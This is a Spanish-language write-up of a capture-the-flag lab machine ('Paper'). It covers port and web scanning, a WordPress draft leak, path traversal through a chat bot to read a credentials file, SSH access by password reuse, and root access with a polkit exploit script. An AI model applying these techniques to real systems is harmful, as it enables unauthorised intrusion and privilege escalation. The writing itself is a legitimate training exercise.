Fecha de Resolución

En primer lugar y como en cualquier máquina, necesitamos información sobre la misma así que vamos a hacer un reconocimiento para identificar los posibles vectores de entrada.

Fase de Reconocimiento

Empezamos como siempre el reconocimiento de puertos lanzando un TCP SYN Port Scan a la ip de la máquina.

Parámetro Descripción
-p- Escanea el rango completo de puertos (hasta el 65535)
-sS Realiza un escaneo de tipo SYN port scan
–min-rate Enviar paquetes no más lentos que 5000 por segundo
–open Mostrar sólo los puertos que esten abiertos
-vvv Triple verbose para ver en consola los resultados
-n No efectuar resolución DNS
-Pn No efectuar descubrimiento de hosts
-oG Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar
p3ntest1ng:~$ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.143 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 09:06 CET
Initiating SYN Stealth Scan at 09:06
Scanning 10.10.11.143 [65535 ports]
Discovered open port 443/tcp on 10.10.11.143
Discovered open port 22/tcp on 10.10.11.143
Discovered open port 80/tcp on 10.10.11.143
Completed SYN Stealth Scan at 09:06, 12.80s elapsed (65535 total ports)
Nmap scan report for 10.10.11.143
Host is up, received user-set (0.10s latency).
Scanned at 2022-02-06 09:06:17 CET for 13s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds
           Raw packets sent: 66042 (2.906MB) | Rcvd: 65999 (2.640MB)

Identificamos tres puertos abiertos:

Puerto Descripción
22 SSH - SSH o Secure Shell
80 HTTP - Servidor web
443 HTTPS - Servidor web

Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.

Parámetro Descripción
-p Escanea sobre los puertos especificados
-sC Muestra todos los scripts relacionados con el servicio
-sV Determina la versión del servicio
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap -sCV -p22,80,443 10.10.11.143 -oN targeted

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 09:09 CET
Nmap scan report for 10.10.11.143
Host is up (0.078s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
|   256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_  256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp  open  http     Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open  ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after:  2022-07-08T10:32:34
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds

Analicemos el puerto 80 con un script de reconocimiento HTTP básico de nmap.

Parámetro Descripción
–script Ejecución de scripts escritos en LUA. Usamos http-enum
-p Escanea sobre el puerto especificado
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap --script http-enum -p80 10.10.11.143 -oN webScan

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 09:13 CET
Nmap scan report for 10.10.11.143
Host is up (0.054s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /icons/: Potentially interesting folder w/ directory listing
|_  /manual/: Potentially interesting folder

Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds

No hay nada interesante que nos pueda servir, veamos cómo está construida la web con whatweb:

p3ntest1ng:~$ whatweb http://10.10.11.143/
http://10.10.11.143/ [403 Forbidden] Apache[2.4.37][mod_fcgid/2.3.9], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.10.11.143], MetaGenerator[HTML Tidy for HTML5 for Linux version 5.7.28], OpenSSL[1.1.1k], PoweredBy[CentOS], Title[HTTP Server Test Page powered by CentOS], UncommonHeaders[x-backend-server], X-Backend[office.paper]

Si nos fijamos en este resultado (no como yo… -al final lo entenderéis-), vemos que existe un servidor backend que apunta a un virtualhost concreto: X-Backend[office.paper] Lo añadimos a nuestro archivo /etc/hosts para poder visualizar el contenido en el navegador.

p3ntest1ng:~$ echo '10.10.11.143 office.paper' | sudo tee -a /etc/hosts

Probemos con wfuzz a ver qué encontramos, primero con un diccionario pequeño y si no encuentro nada, usaré uno más grande.

Parámetro Descripción
-c Muestra el output en formato colorizado
-w Utiliza el diccionario especificado
–hc=404 Oculta todos los códigos de estado 404
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc=404 http://office.paper/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://office.paper/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000011:   403        7 L      20 W       199 Ch      ".hta"                                                                                                                      
000000012:   403        7 L      20 W       199 Ch      ".htaccess"                                                                                                                 
000000013:   403        7 L      20 W       199 Ch      ".htpasswd"                                                                                                                 
000000001:   200        234 L    1209 W     23701 Ch    "http://office.paper/"                                                                                                      
000000820:   403        7 L      20 W       199 Ch      "cgi-bin/"                                                                                                                  
000002021:   301        1 L      0 W        1 Ch        "index.php"                                                                                                                 
000002441:   301        7 L      20 W       235 Ch      "manual"                                                                                                                    
000004495:   301        7 L      20 W       239 Ch      "wp-content"                                                                                                                
000004501:   301        7 L      20 W       240 Ch      "wp-includes"                                                                                                               
000004485:   301        7 L      20 W       237 Ch      "wp-admin"                                                                                                                  

Total time: 65.32861
Processed Requests: 4614
Filtered Requests: 4604
Requests/sec.: 70.62755

Comprobemos también los posibles subdominios para este servidor web:

Parámetro Descripción
-c Mostrar el output en formato colorizado
-w Utiliza el diccionario especificado
–hc=404 Oculta los códigos de estado 404
-H Realiza una consulta de tipo header
-u Especifica la URL para la consulta
-t Nos permite lanzar el comando con N threads
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc=200 -H "Host: FUZZ.office.paper" -u http://office.paper/ -t 100 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://office.paper/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000070:   200        507 L    13015 W    223163 Ch   "chat"                                                                                                                      

Total time: 0
Processed Requests: 9231
Filtered Requests: 9230
Requests/sec.: 0

^C

Encontramos un subdominio chat así que lo agregamos nuevamente a nuestro archivo /etc/hosts

Primero vamos a ver qué hay en http://10.10.11.143/:

Website

Aquí no parece que haya nada interesante, sólo es la plantilla por defecto del servidor web. Revisemos el virtualhost para ver qué hay.

Website

Fase de Explotación

Vemos que estamos ante un Wordpress de version 5.2.3, por lo que podemos tratar de localizar vulnerabilidades con searchsploit.

p3ntest1ng:~$ searchsploit wordpress 5.2.3
----------------------------------------------------------------------------- -------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- -------------------------------
WordPress Core 5.2.3 - Cross-Site Host Modification                          | php/webapps/47361.pl
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts      | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service                      | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities          | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                    | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                  | php/webapps/48918.sh
----------------------------------------------------------------------------- -------------------------------
Shellcodes: No Results

Nos movemos al directorio donde tenemos instalado exploitdb para localizar el archivo de la segunda vulnerabilidad.

p3ntest1ng:~$ cd /opt/exploitdb/exploits/multiple/webapps
p3ntest1ng:~$ cat 47690.md
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: 47690.md
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ So far we know that adding `?static=1` to a wordpress URL should leak its secret content
   2   │ 
   3   │ Here are a few ways to manipulate the returned entries:
   4   │ 
   5   │ - `order` with `asc` or `desc`
   6   │ - `orderby`
   7   │ - `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
   8   │ 
   9   │ 
  10   │ In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Esta versión de Wordpress es vulnerable y con ello podemos filtrar información tal y como se indica en el documento:

CVE

[INT:DAY]

Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwigt….

# Secret Registration URL of new Employee chat system

http://chat.office.paper/register/8qozr226AhkCHZdyY

# I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick.

# Also, stop looking at my drafts. Jeez!

Hemos descubierto un enlace al sistema de chat con el cual podemos registrarnos en la aplicación.

Registration

Registration

Una vez registrados, iniciamos sesión con nuestro nuevo usuario para acceder al chat.

Chat

Podemos ver que existe un canal llamado #general al que están llegando mensajes. Echemos un vistazo.

Chat

Vemos que esta usuaria está comentando que podemos enviarle mensajes privados a un tal recyclops del cual aparecen más mensajes arriba, como este:

Chat

Aquí descubrimos que kelly forma parte del proyecto y nos revela que recyclops es un bot asignado por Dwight al que podemos pedirle que realice ciertas tareas.

Lo primero es abrir un chat privado con el bot para ver qué cosas podemos hacer. Damos click en su nombre y en el icono de mensaje:

Chat

En este punto probamos poniendo una de las preguntas de ejemplo que vimos anteriormente, pero el bot no la entiende y nos invita a leer la ayuda con el comando help

Bot Help

Vemos que podemos listar y leer archivos del sistema con ayuda del bot escribiendo los comandos/órdenes de varias formas.

Probemos el comando list ../ para tratar de escapar del directorio sales

List

Conseguimos escapar y listar todo el contenido del directorio home del usuario bajo el que se encuentra el bot. Al intentar leer el archivo user.txt nos dice que no tenemos permiso.

File

Hay un directorio que me llama la atención, de nombre hubot, lo cual me hace pensar que ahí se aloja el código fuente o archivos relacionados. Tratemos de listarlo.

List

Qué interesante, encontramos un archivo .env en el que por lo general se guardan TOKEN’s o variables importantes. Leamos el archivo con el bot:

File

<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>

Epa! Tenemos las credenciales de conexión al chat del usuario recyclops (el bot). Anteriormente vimos que dicho usuario hacía mención a otro usuario de nombre Dwight. Podemos probar a ver si hay reutilización de contraseñas para conectarnos por SSH como el usuario dwight:

p3ntest1ng:~$ ssh dwight@office.paper
The authenticity of host 'office.paper (10.10.11.143)' can't be established.
ECDSA key fingerprint is SHA256:2eiFA8VFQOZukubwDkd24z/kfLkdKlz4wkAa/lRN3Lg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'office.paper' (ECDSA) to the list of known hosts.
dwight@office.paper's password: 
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Tue Feb  1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ ls
bot_restart.sh  hubot  pk.sh  sales  user.txt
[dwight@paper ~]$ cat user.txt
0baa09b7a49f6bc6950e5c32b0ea4b6f
[dwight@paper ~]$ 

Pues tenemos la flag del usuario así que echemos un vistazo para ver cómo podemos realizar la escalada de privilegios para conseguir acceso como root.

Escalada de Privilegios

Lo primero sería comprobar si tenemos algún permiso a nivel de sudo (nos pedirá la contraseña, la cual conocemos):

[dwight@paper ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dwight: 
Sorry, user dwight may not run sudo on paper.
[dwight@paper ~]$ ls -la $(which pkexec)
32 -rwsr-xr-x. 1 root root 29816 May 11  2019 /usr/bin/pkexec
[dwight@paper ~]$ Pues ya estaría...no? xDD

Pero aun así, no tenemos permisos para ejecutar sudo. De paso aprovecho para ver si en el sistema existe el SUID pkexec con el que podríamos escalar privilegios fácilmente, y efectivamente existe. Pero nosotros somos de la vieja escuela y aquí hacemos las cosas bien, ¿estamos?. Sigamos…

Vemos que existe un archivo pk.sh y si lo analizamos podemos ver que crea un usuario hacked con contraseña password y permisos de administrador. También comprueba la versión de polkit y al final del script nos indica que podemos ejecutar su - hacked y sudo su para ganar acceso como root.

Lo ejecutamos y esperamos…si tarda mucho y no hace nada, lo ejecutamos de nuevo. En mi caso, por alguna extraña razón tuve que ejecutarlo tres veces.

[dwight@paper ~]$ ./pk.sh
[*] Vulnerable version of polkit found
[*] Determining dbus-send timing
[*] Attempting to create account
[*] New user hacked created with uid of 1005
[*] Adding password to /etc/shadow and enabling user
[*] Exploit complete!

[*] Run 'su - hacked', followed by 'sudo su' to gain root access
[dwight@paper ~]$ su - hacked
Password: password
[hacked@paper ~]$ sudo su
[sudo] password for hacked: password
[root@paper hacked]# whoami
root
[root@paper hacked]# cd /root
[root@paper ~]# ls
anaconda-ks.cfg  initial-setup-ks.cfg  root.txt
[root@paper ~]# cat root.txt
486726908b376d042dfb225f0ed02b6c
[root@paper ~]# 

Y esta sería la escalada de privilegios tal y como estaba contemplada por el creador de la máquina, por lo tanto la damos por finalizada.

De esta máquina he aprendido lo importante que es fijarse en los detalles, y no lo digo por que haya cosas que sean difíciles, sino porque por culpa mía y por no fijarme bien, estuve un rato tratando de averiguar cómo llevar a cabo la intrusión, simplemente por no ver que en el output de whatweb me estaban dando el auténtico virtualhost de la máquina. Estaba obcecado en poner paper.htb, tal vez por costumbre, y claro en este virtualhost no encontraba más que la plantilla html por defecto, con la cuál no podía hacer nada obviamente. Las malas costumbres pueden hacernos perder un tiempo valioso…

¡Gracias por leer hasta el final!

Nos vemos en un próximo. ¡Feliz hacking! ☠